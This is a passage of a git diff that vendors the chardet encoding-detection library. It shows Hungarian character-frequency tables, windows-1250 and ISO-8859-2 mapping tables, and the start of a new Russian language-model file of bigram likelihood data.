0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 0, # 'a' + 18: 3, # 'b' + 26: 1, # 'c' + 17: 2, # 'd' + 1: 0, # 'e' + 27: 1, # 'f' + 12: 2, # 'g' + 20: 1, # 'h' + 9: 0, # 'i' + 22: 1, # 'j' + 7: 3, # 'k' + 6: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 8: 0, # 'o' + 23: 2, # 'p' + 10: 3, # 'r' + 5: 3, # 's' + 3: 3, # 't' + 21: 0, # 'u' + 19: 3, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 3, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 0, # 'á' + 15: 0, # 'é' + 30: 0, # 'í' + 25: 0, # 'ó' + 24: 0, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 31: { # 'ú' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 1, # 'a' + 18: 1, # 'b' + 26: 2, # 'c' + 17: 1, # 'd' + 1: 1, # 'e' + 27: 2, # 'f' + 12: 3, # 'g' + 20: 1, # 'h' + 9: 1, # 'i' + 22: 3, # 'j' + 7: 1, # 'k' + 6: 3, # 'l' + 13: 1, # 'm' + 4: 2, # 'n' + 8: 0, # 'o' + 23: 1, # 'p' + 10: 3, # 'r' + 5: 3, # 's' + 3: 2, # 't' + 21: 1, # 'u' + 19: 1, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 2, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 1, # 'á' + 15: 1, # 'é' + 30: 0, # 'í' + 25: 0, # 'ó' + 24: 0, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 29: { # 'ü' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 1, # 'a' + 18: 1, # 'b' + 26: 1, # 'c' + 17: 2, # 'd' + 1: 1, # 'e' + 27: 1, # 'f' + 12: 3, # 'g' + 20: 2, # 'h' + 9: 1, # 'i' + 22: 1, # 'j' + 7: 3, # 'k' + 6: 3, # 'l' + 13: 1, # 'm' + 4: 3, # 'n' + 8: 0, # 'o' + 23: 1, # 'p' + 10: 2, # 'r' + 5: 2, # 's' + 3: 2, # 't' + 21: 0, # 'u' + 19: 2, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 2, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 0, # 'á' + 15: 1, # 'é' + 30: 0, # 'í' + 25: 0, # 'ó' + 24: 0, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 42: { # 'ő' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 1, # 'a' + 18: 2, # 'b' + 26: 1, # 'c' + 17: 2, # 'd' + 1: 1, # 'e' + 27: 1, # 'f' + 12: 1, # 'g' + 20: 1, # 'h' + 9: 1, # 'i' + 22: 1, # 'j' + 7: 2, # 'k' + 6: 3, # 'l' + 13: 1, # 'm' + 4: 2, # 'n' + 8: 1, # 'o' + 23: 1, # 'p' + 10: 2, # 'r' + 5: 2, # 's' + 3: 2, # 't' + 21: 1, # 'u' + 19: 1, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 2, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 0, # 'á' + 15: 1, # 'é' + 30: 1, # 'í' + 25: 0, # 'ó' + 24: 0, # 'ö' + 31: 0, # 'ú' + 29: 1, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 56: { # 'ű' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 1, # 'a' + 18: 1, # 'b' + 26: 0, # 'c' + 17: 1, # 'd' + 1: 1, # 'e' + 27: 1, # 'f' + 12: 1, # 'g' + 20: 1, # 'h' + 9: 1, # 'i' + 22: 1, # 'j' + 7: 1, # 'k' + 6: 1, # 'l' + 13: 0, # 'm' + 4: 2, # 'n' + 8: 0, # 'o' + 23: 0, # 'p' + 10: 1, # 'r' + 5: 1, # 's' + 3: 1, # 't' + 21: 0, # 'u' + 19: 1, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 2, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 0, # 'á' + 15: 0, # 'é' + 30: 0, # 'í' + 25: 0, # 'ó' + 24: 0, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, +} + +# 255: Undefined characters that did not exist in training text +# 254: Carriage/Return +# 253: symbol (punctuation) that does not belong to word +# 252: 0 - 9 +# 251: Control characters + +# Character Mapping Table(s): +WINDOWS_1250_HUNGARIAN_CHAR_TO_ORDER = { + 0: 255, # '\x00' + 1: 255, # '\x01' + 2: 255, # '\x02' + 3: 255, # '\x03' + 4: 255, # '\x04' + 5: 255, # '\x05' + 6: 255, # '\x06' + 7: 255, # '\x07' + 8: 255, # '\x08' + 9: 255, # '\t' + 10: 254, # '\n' + 11: 255, # '\x0b' + 12: 255, # '\x0c' + 13: 254, # '\r' + 14: 255, # '\x0e' + 15: 255, # '\x0f' + 16: 255, # '\x10' + 17: 255, # '\x11' + 18: 255, # '\x12' + 19: 255, # '\x13' + 20: 255, # '\x14' + 21: 255, # '\x15' + 22: 255, # '\x16' + 23: 255, # '\x17' + 24: 255, # '\x18' + 25: 255, # '\x19' + 26: 255, # '\x1a' + 27: 255, # '\x1b' + 28: 255, # '\x1c' + 29: 255, # '\x1d' + 30: 255, # '\x1e' + 31: 255, # '\x1f' + 32: 253, # ' ' + 33: 253, # '!' + 34: 253, # '"' + 35: 253, # '#' + 36: 253, # '$' + 37: 253, # '%' + 38: 253, # '&' + 39: 253, # "'" + 40: 253, # '(' + 41: 253, # ')' + 42: 253, # '*' + 43: 253, # '+' + 44: 253, # ',' + 45: 253, # '-' + 46: 253, # '.' + 47: 253, # '/' + 48: 252, # '0' + 49: 252, # '1' + 50: 252, # '2' + 51: 252, # '3' + 52: 252, # '4' + 53: 252, # '5' + 54: 252, # '6' + 55: 252, # '7' + 56: 252, # '8' + 57: 252, # '9' + 58: 253, # ':' + 59: 253, # ';' + 60: 253, # '<' + 61: 253, # '=' + 62: 253, # '>' + 63: 253, # '?' + 64: 253, # '@' + 65: 28, # 'A' + 66: 40, # 'B' + 67: 54, # 'C' + 68: 45, # 'D' + 69: 32, # 'E' + 70: 50, # 'F' + 71: 49, # 'G' + 72: 38, # 'H' + 73: 39, # 'I' + 74: 53, # 'J' + 75: 36, # 'K' + 76: 41, # 'L' + 77: 34, # 'M' + 78: 35, # 'N' + 79: 47, # 'O' + 80: 46, # 'P' + 81: 72, # 'Q' + 82: 43, # 'R' + 83: 33, # 'S' + 84: 37, # 'T' + 85: 57, # 'U' + 86: 48, # 'V' + 87: 64, # 'W' + 88: 68, # 'X' + 89: 55, # 'Y' + 90: 52, # 'Z' + 91: 253, # '[' + 92: 253, # '\\' + 93: 253, # ']' + 94: 253, # '^' + 95: 253, # '_' + 96: 253, # '`' + 97: 2, # 'a' + 98: 18, # 'b' + 99: 26, # 'c' + 100: 17, # 'd' + 101: 1, # 'e' + 102: 27, # 'f' + 103: 12, # 'g' + 104: 20, # 'h' + 105: 9, # 'i' + 106: 22, # 'j' + 107: 7, # 'k' + 108: 6, # 'l' + 109: 13, # 'm' + 110: 4, # 'n' + 111: 8, # 'o' + 112: 23, # 'p' + 113: 67, # 'q' + 114: 10, # 'r' + 115: 5, # 's' + 116: 3, # 't' + 117: 21, # 'u' + 118: 19, # 'v' + 119: 65, # 'w' + 120: 62, # 'x' + 121: 16, # 'y' + 122: 11, # 'z' + 123: 253, # '{' + 124: 253, # '|' + 125: 253, # '}' + 126: 253, # '~' + 127: 253, # '\x7f' + 128: 161, # '€' + 129: 162, # None + 130: 163, # '‚' + 131: 164, # None + 132: 165, # '„' + 133: 166, # '…' + 134: 167, # '†' + 135: 168, # '‡' + 136: 169, # None + 137: 170, # '‰' + 138: 171, # 'Š' + 139: 172, # '‹' + 140: 173, # 'Ś' + 141: 174, # 'Ť' + 142: 175, # 'Ž' + 143: 176, # 'Ź' + 144: 177, # None + 145: 178, # '‘' + 146: 179, # '’' + 147: 180, # '“' + 148: 78, # '”' + 149: 181, # '•' + 150: 69, # '–' + 151: 182, # '—' + 152: 183, # None + 153: 184, # '™' + 154: 185, # 'š' + 155: 186, # '›' + 156: 187, # 'ś' + 157: 188, # 'ť' + 158: 189, # 'ž' + 159: 190, # 'ź' + 160: 191, # '\xa0' + 161: 192, # 'ˇ' + 162: 193, # '˘' + 163: 194, # 'Ł' + 164: 195, # '¤' + 165: 196, # 'Ą' + 166: 197, # '¦' + 167: 76, # '§' + 168: 198, # '¨' + 169: 199, # '©' + 170: 200, # 'Ş' + 171: 201, # '«' + 172: 202, # '¬' + 173: 203, # '\xad' + 174: 204, # '®' + 175: 205, # 'Ż' + 176: 81, # '°' + 177: 206, # '±' + 178: 207, # '˛' + 179: 208, # 'ł' + 180: 209, # '´' + 181: 210, # 'µ' + 182: 211, # '¶' + 183: 212, # '·' + 184: 213, # '¸' + 185: 214, # 'ą' + 186: 215, # 'ş' + 187: 216, # '»' + 188: 217, # 'Ľ' + 189: 218, # '˝' + 190: 219, # 'ľ' + 191: 220, # 'ż' + 192: 221, # 'Ŕ' + 193: 51, # 'Á' + 194: 83, # 'Â' + 195: 222, # 'Ă' + 196: 80, # 'Ä' + 197: 223, # 'Ĺ' + 198: 224, # 'Ć' + 199: 225, # 'Ç' + 200: 226, # 'Č' + 201: 44, # 'É' + 202: 227, # 'Ę' + 203: 228, # 'Ë' + 204: 229, # 'Ě' + 205: 61, # 'Í' + 206: 230, # 'Î' + 207: 231, # 'Ď' + 208: 232, # 'Đ' + 209: 233, # 'Ń' + 210: 234, # 'Ň' + 211: 58, # 'Ó' + 212: 235, # 'Ô' + 213: 66, # 'Ő' + 214: 59, # 'Ö' + 215: 236, # '×' + 216: 237, # 'Ř' + 217: 238, # 'Ů' + 218: 60, # 'Ú' + 219: 70, # 'Ű' + 220: 63, # 'Ü' + 221: 239, # 'Ý' + 222: 240, # 'Ţ' + 223: 241, # 'ß' + 224: 84, # 'ŕ' + 225: 14, # 'á' + 226: 75, # 'â' + 227: 242, # 'ă' + 228: 71, # 'ä' + 229: 82, # 'ĺ' + 230: 243, # 'ć' + 231: 73, # 'ç' + 232: 244, # 'č' + 233: 15, # 'é' + 234: 85, # 'ę' + 235: 79, # 'ë' + 236: 86, # 'ě' + 237: 30, # 'í' + 238: 77, # 'î' + 239: 87, # 'ď' + 240: 245, # 'đ' + 241: 246, # 'ń' + 242: 247, # 'ň' + 243: 25, # 'ó' + 244: 74, # 'ô' + 245: 42, # 'ő' + 246: 24, # 'ö' + 247: 248, # '÷' + 248: 249, # 'ř' + 249: 250, # 'ů' + 250: 31, # 'ú' + 251: 56, # 'ű' + 252: 29, # 'ü' + 253: 251, # 'ý' + 254: 252, # 'ţ' + 255: 253, # '˙' +} + +WINDOWS_1250_HUNGARIAN_MODEL = SingleByteCharSetModel(charset_name='windows-1250', + language='Hungarian', + char_to_order_map=WINDOWS_1250_HUNGARIAN_CHAR_TO_ORDER, + language_model=HUNGARIAN_LANG_MODEL, + typical_positive_ratio=0.947368, + keep_ascii_letters=True, + alphabet='ABCDEFGHIJKLMNOPRSTUVZabcdefghijklmnoprstuvzÁÉÍÓÖÚÜáéíóöúüŐőŰű') + +ISO_8859_2_HUNGARIAN_CHAR_TO_ORDER = { + 0: 255, # '\x00' + 1: 255, # '\x01' + 2: 255, # '\x02' + 3: 255, # '\x03' + 4: 255, # '\x04' + 5: 255, # '\x05' + 6: 255, # '\x06' + 7: 255, # '\x07' + 8: 255, # '\x08' + 9: 255, # '\t' + 10: 254, # '\n' + 11: 255, # '\x0b' + 12: 255, # '\x0c' + 13: 254, # '\r' + 14: 255, # '\x0e' + 15: 255, # '\x0f' + 16: 255, # '\x10' + 17: 255, # '\x11' + 18: 255, # '\x12' + 19: 255, # '\x13' + 20: 255, # '\x14' + 21: 255, # '\x15' + 22: 255, # '\x16' + 23: 255, # '\x17' + 24: 255, # '\x18' + 25: 255, # '\x19' + 26: 255, # '\x1a' + 27: 255, # '\x1b' + 28: 255, # '\x1c' + 29: 255, # '\x1d' + 30: 255, # '\x1e' + 31: 255, # '\x1f' + 32: 253, # ' ' + 33: 253, # '!' + 34: 253, # '"' + 35: 253, # '#' + 36: 253, # '$' + 37: 253, # '%' + 38: 253, # '&' + 39: 253, # "'" + 40: 253, # '(' + 41: 253, # ')' + 42: 253, # '*' + 43: 253, # '+' + 44: 253, # ',' + 45: 253, # '-' + 46: 253, # '.' + 47: 253, # '/' + 48: 252, # '0' + 49: 252, # '1' + 50: 252, # '2' + 51: 252, # '3' + 52: 252, # '4' + 53: 252, # '5' + 54: 252, # '6' + 55: 252, # '7' + 56: 252, # '8' + 57: 252, # '9' + 58: 253, # ':' + 59: 253, # ';' + 60: 253, # '<' + 61: 253, # '=' + 62: 253, # '>' + 63: 253, # '?' + 64: 253, # '@' + 65: 28, # 'A' + 66: 40, # 'B' + 67: 54, # 'C' + 68: 45, # 'D' + 69: 32, # 'E' + 70: 50, # 'F' + 71: 49, # 'G' + 72: 38, # 'H' + 73: 39, # 'I' + 74: 53, # 'J' + 75: 36, # 'K' + 76: 41, # 'L' + 77: 34, # 'M' + 78: 35, # 'N' + 79: 47, # 'O' + 80: 46, # 'P' + 81: 71, # 'Q' + 82: 43, # 'R' + 83: 33, # 'S' + 84: 37, # 'T' + 85: 57, # 'U' + 86: 48, # 'V' + 87: 64, # 'W' + 88: 68, # 'X' + 89: 55, # 'Y' + 90: 52, # 'Z' + 91: 253, # '[' + 92: 253, # '\\' + 93: 253, # ']' + 94: 253, # '^' + 95: 253, # '_' + 96: 253, # '`' + 97: 2, # 'a' + 98: 18, # 'b' + 99: 26, # 'c' + 100: 17, # 'd' + 101: 1, # 'e' + 102: 27, # 'f' + 103: 12, # 'g' + 104: 20, # 'h' + 105: 9, # 'i' + 106: 22, # 'j' + 107: 7, # 'k' + 108: 6, # 'l' + 109: 13, # 'm' + 110: 4, # 'n' + 111: 8, # 'o' + 112: 23, # 'p' + 113: 67, # 'q' + 114: 10, # 'r' + 115: 5, # 's' + 116: 3, # 't' + 117: 21, # 'u' + 118: 19, # 'v' + 119: 65, # 'w' + 120: 62, # 'x' + 121: 16, # 'y' + 122: 11, # 'z' + 123: 253, # '{' + 124: 253, # '|' + 125: 253, # '}' + 126: 253, # '~' + 127: 253, # '\x7f' + 128: 159, # '\x80' + 129: 160, # '\x81' + 130: 161, # '\x82' + 131: 162, # '\x83' + 132: 163, # '\x84' + 133: 164, # '\x85' + 134: 165, # '\x86' + 135: 166, # '\x87' + 136: 167, # '\x88' + 137: 168, # '\x89' + 138: 169, # '\x8a' + 139: 170, # '\x8b' + 140: 171, # '\x8c' + 141: 172, # '\x8d' + 142: 173, # '\x8e' + 143: 174, # '\x8f' + 144: 175, # '\x90' + 145: 176, # '\x91' + 146: 177, # '\x92' + 147: 178, # '\x93' + 148: 179, # '\x94' + 149: 180, # '\x95' + 150: 181, # '\x96' + 151: 182, # '\x97' + 152: 183, # '\x98' + 153: 184, # '\x99' + 154: 185, # '\x9a' + 155: 186, # '\x9b' + 156: 187, # '\x9c' + 157: 188, # '\x9d' + 158: 189, # '\x9e' + 159: 190, # '\x9f' + 160: 191, # '\xa0' + 161: 192, # 'Ą' + 162: 193, # '˘' + 163: 194, # 'Ł' + 164: 195, # '¤' + 165: 196, # 'Ľ' + 166: 197, # 'Ś' + 167: 75, # '§' + 168: 198, # '¨' + 169: 199, # 'Š' + 170: 200, # 'Ş' + 171: 201, # 'Ť' + 172: 202, # 'Ź' + 173: 203, # '\xad' + 174: 204, # 'Ž' + 175: 205, # 'Ż' + 176: 79, # '°' + 177: 206, # 'ą' + 178: 207, # '˛' + 179: 208, # 'ł' + 180: 209, # '´' + 181: 210, # 'ľ' + 182: 211, # 'ś' + 183: 212, # 'ˇ' + 184: 213, # '¸' + 185: 214, # 'š' + 186: 215, # 'ş' + 187: 216, # 'ť' + 188: 217, # 'ź' + 189: 218, # '˝' + 190: 219, # 'ž' + 191: 220, # 'ż' + 192: 221, # 'Ŕ' + 193: 51, # 'Á' + 194: 81, # 'Â' + 195: 222, # 'Ă' + 196: 78, # 'Ä' + 197: 223, # 'Ĺ' + 198: 224, # 'Ć' + 199: 225, # 'Ç' + 200: 226, # 'Č' + 201: 44, # 'É' + 202: 227, # 'Ę' + 203: 228, # 'Ë' + 204: 229, # 'Ě' + 205: 61, # 'Í' + 206: 230, # 'Î' + 207: 231, # 'Ď' + 208: 232, # 'Đ' + 209: 233, # 'Ń' + 210: 234, # 'Ň' + 211: 58, # 'Ó' + 212: 235, # 'Ô' + 213: 66, # 'Ő' + 214: 59, # 'Ö' + 215: 236, # '×' + 216: 237, # 'Ř' + 217: 238, # 'Ů' + 218: 60, # 'Ú' + 219: 69, # 'Ű' + 220: 63, # 'Ü' + 221: 239, # 'Ý' + 222: 240, # 'Ţ' + 223: 241, # 'ß' + 224: 82, # 'ŕ' + 225: 14, # 'á' + 226: 74, # 'â' + 227: 242, # 'ă' + 228: 70, # 'ä' + 229: 80, # 'ĺ' + 230: 243, # 'ć' + 231: 72, # 'ç' + 232: 244, # 'č' + 233: 15, # 'é' + 234: 83, # 'ę' + 235: 77, # 'ë' + 236: 84, # 'ě' + 237: 30, # 'í' + 238: 76, # 'î' + 239: 85, # 'ď' + 240: 245, # 'đ' + 241: 246, # 'ń' + 242: 247, # 'ň' + 243: 25, # 'ó' + 244: 73, # 'ô' + 245: 42, # 'ő' + 246: 24, # 'ö' + 247: 248, # '÷' + 248: 249, # 'ř' + 249: 250, # 'ů' + 250: 31, # 'ú' + 251: 56, # 'ű' + 252: 29, # 'ü' + 253: 251, # 'ý' + 254: 252, # 'ţ' + 255: 253, # '˙' +} + +ISO_8859_2_HUNGARIAN_MODEL = SingleByteCharSetModel(charset_name='ISO-8859-2', + language='Hungarian', + char_to_order_map=ISO_8859_2_HUNGARIAN_CHAR_TO_ORDER, + language_model=HUNGARIAN_LANG_MODEL, + typical_positive_ratio=0.947368, + keep_ascii_letters=True, + alphabet='ABCDEFGHIJKLMNOPRSTUVZabcdefghijklmnoprstuvzÁÉÍÓÖÚÜáéíóöúüŐőŰű') + diff --git a/src/thirdparty/chardet/langrussianmodel.py b/src/thirdparty/chardet/langrussianmodel.py new file mode 100644 index 0000000000..222b19bce3 --- /dev/null +++ b/src/thirdparty/chardet/langrussianmodel.py @@ -0,0 +1,5718 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +from .sbcharsetprober import SingleByteCharSetModel + + +# 3: Positive +# 2: Likely +# 1: Unlikely +# 0: Negative + +RUSSIAN_LANG_MODEL = { + 37: { # 'А' + 37: 0, # 'А' + 44: 1, # 'Б' + 33: 1, # 'В' + 46: 1, # 'Г' + 41: 1, # 'Д' + 48: 1, # 'Е' + 56: 1, # 'Ж' + 51: 1, # 'З' + 42: 1, # 'И' + 60: 1, # 'Й' + 36: 1, # 'К' + 49: 1, # 'Л' + 38: 1, # 'М' + 31: 2, # 'Н' + 34: 1, # 'О' + 35: 1, # 'П' + 45: 1, # 'Р' + 32: 1, # 'С' + 40: 1, # 'Т' + 52: 1, # 'У' + 53: 1, # 'Ф' + 55: 1, # 'Х' + 58: 1, # 'Ц' + 50: 1, # 'Ч' + 57: 1, # 'Ш' + 63: 1, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 1, # 'Ю' + 43: 1, # 'Я' + 3: 1, # 'а' + 21: 2, # 'б' + 10: 2, # 'в' + 19: 2, # 'г' + 13: 2, # 'д' + 2: 0, # 'е' + 24: 1, # 'ж' + 20: 1, # 'з' + 4: 0, # 'и' + 23: 1, # 'й' + 11: 2, # 'к' + 8: 3, # 'л' + 12: 2, # 'м' + 5: 2, # 'н' + 1: 0, # 'о' + 15: 2, # 'п' + 9: 2, # 'р' + 7: 2, # 'с' + 6: 2, # 'т' + 14: 2, # 'у' + 39: 2, # 'ф' + 26: 2, # 'х' + 28: 0, # 'ц' + 22: 1, # 'ч' + 25: 2, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 1, # 'э' + 27: 0, # 'ю' + 16: 0, # 'я' + }, + 44: { # 'Б' + 37: 1, # 'А' + 44: 0, # 'Б' + 33: 1, # 'В' + 46: 1, # 'Г' + 41: 0, # 'Д' + 48: 1, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 1, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 1, # 'Л' + 38: 1, # 'М' + 31: 1, # 'Н' + 34: 1, # 'О' + 35: 0, # 'П' + 45: 1, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 1, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 1, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 1, # 'Я' + 3: 2, # 'а' + 21: 0, # 'б' + 10: 0, # 'в' + 19: 0, # 'г' + 13: 1, # 'д' + 2: 3, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 2, # 'и' + 23: 0, # 'й' + 11: 0, # 'к' + 8: 2, # 'л' + 12: 0, # 'м' + 5: 0, # 'н' + 1: 3, # 'о' + 15: 0, # 'п' + 9: 2, # 'р' + 7: 0, # 'с' + 6: 0, # 'т' + 14: 2, # 'у' + 39: 0, # 'ф' + 26: 0, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 2, # 'ы' + 17: 1, # 'ь' + 30: 2, # 'э' + 27: 1, # 'ю' + 16: 1, # 'я' + }, + 33: { # 'В' + 37: 2, # 'А' + 44: 0, # 'Б' + 33: 1, # 'В' + 46: 0, # 'Г' + 41: 1, # 'Д' + 48: 1, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 1, # 'И' + 60: 0, # 'Й' + 36: 1, # 'К' + 49: 1, # 'Л' + 38: 1, # 'М' + 31: 1, # 'Н' + 34: 1, # 'О' + 35: 1, # 'П' + 45: 1, # 'Р' + 32: 1, # 'С' + 40: 1, # 'Т' + 52: 1, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 1, # 'Ш' + 63: 0, # 'Щ' + 62: 1, # 'Ы' + 61: 1, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 1, # 'Я' + 3: 2, # 'а' + 21: 1, # 'б' + 10: 1, # 'в' + 19: 1, # 'г' + 13: 2, # 'д' + 2: 3, # 'е' + 24: 0, # 'ж' + 20: 2, # 'з' + 4: 2, # 'и' + 23: 0, # 'й' + 11: 1, # 'к' + 8: 2, # 'л' + 12: 2, # 'м' + 5: 2, # 'н' + 1: 3, # 'о' + 15: 2, # 'п' + 9: 2, # 'р' + 7: 3, # 'с' + 6: 2, # 'т' + 14: 2, # 'у' + 39: 0, # 'ф' + 26: 1, # 'х' + 28: 1, # 'ц' + 22: 2, # 'ч' + 25: 1, # 'ш' + 29: 0, # 'щ' + 54: 1, # 'ъ' + 18: 3, # 'ы' + 17: 1, # 'ь' + 30: 2, # 'э' + 27: 0, # 'ю' + 16: 1, # 'я' + }, + 46: { # 'Г' + 37: 1, # 'А' + 44: 1, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 1, # 'Д' + 48: 1, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 1, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 1, # 'Л' + 38: 1, # 'М' + 31: 1, # 'Н' + 34: 1, # 'О' + 35: 1, # 'П' + 45: 1, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 1, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 2, # 'а' + 21: 0, # 'б' + 10: 1, # 'в' + 19: 0, # 'г' + 13: 2, # 'д' + 2: 2, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 2, # 'и' + 23: 0, # 'й' + 11: 0, # 'к' + 8: 2, # 'л' + 12: 1, # 'м' + 5: 1, # 'н' + 1: 3, # 'о' + 15: 0, # 'п' + 9: 2, # 'р' + 7: 0, # 'с' + 6: 0, # 'т' + 14: 2, # 'у' + 39: 0, # 'ф' + 26: 0, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 1, # 'ь' + 30: 1, # 'э' + 27: 1, # 'ю' + 16: 0, # 'я' + }, + 41: { # 'Д' + 37: 1, # 'А' + 44: 0, # 'Б' + 33: 1, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 2, # 'Е' + 56: 1, # 'Ж' + 51: 0, # 'З' + 42: 1, # 'И' + 60: 0, # 'Й' + 36: 1, # 'К' + 49: 1, # 'Л' + 38: 0, # 'М' + 31: 1, # 'Н' + 34: 1, # 'О' + 35: 0, # 'П' + 45: 1, # 'Р' + 32: 1, # 'С' + 40: 0, # 'Т' + 52: 1, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 1, # 'Ц' + 50: 1, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 1, # 'Ы' + 61: 1, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 1, # 'Я' + 3: 3, # 'а' + 21: 0, # 'б' + 10: 2, # 'в' + 19: 0, # 'г' + 13: 0, # 'д' + 2: 2, # 'е' + 24: 3, # 'ж' + 20: 1, # 'з' + 4: 2, # 'и' + 23: 0, # 'й' + 11: 0, # 'к' + 8: 2, # 'л' + 12: 1, # 'м' + 5: 1, # 'н' + 1: 3, # 'о' + 15: 0, # 'п' + 9: 2, # 'р' + 7: 0, # 'с' + 6: 0, # 'т' + 14: 2, # 'у' + 39: 0, # 'ф' + 26: 1, # 'х' + 28: 0, # 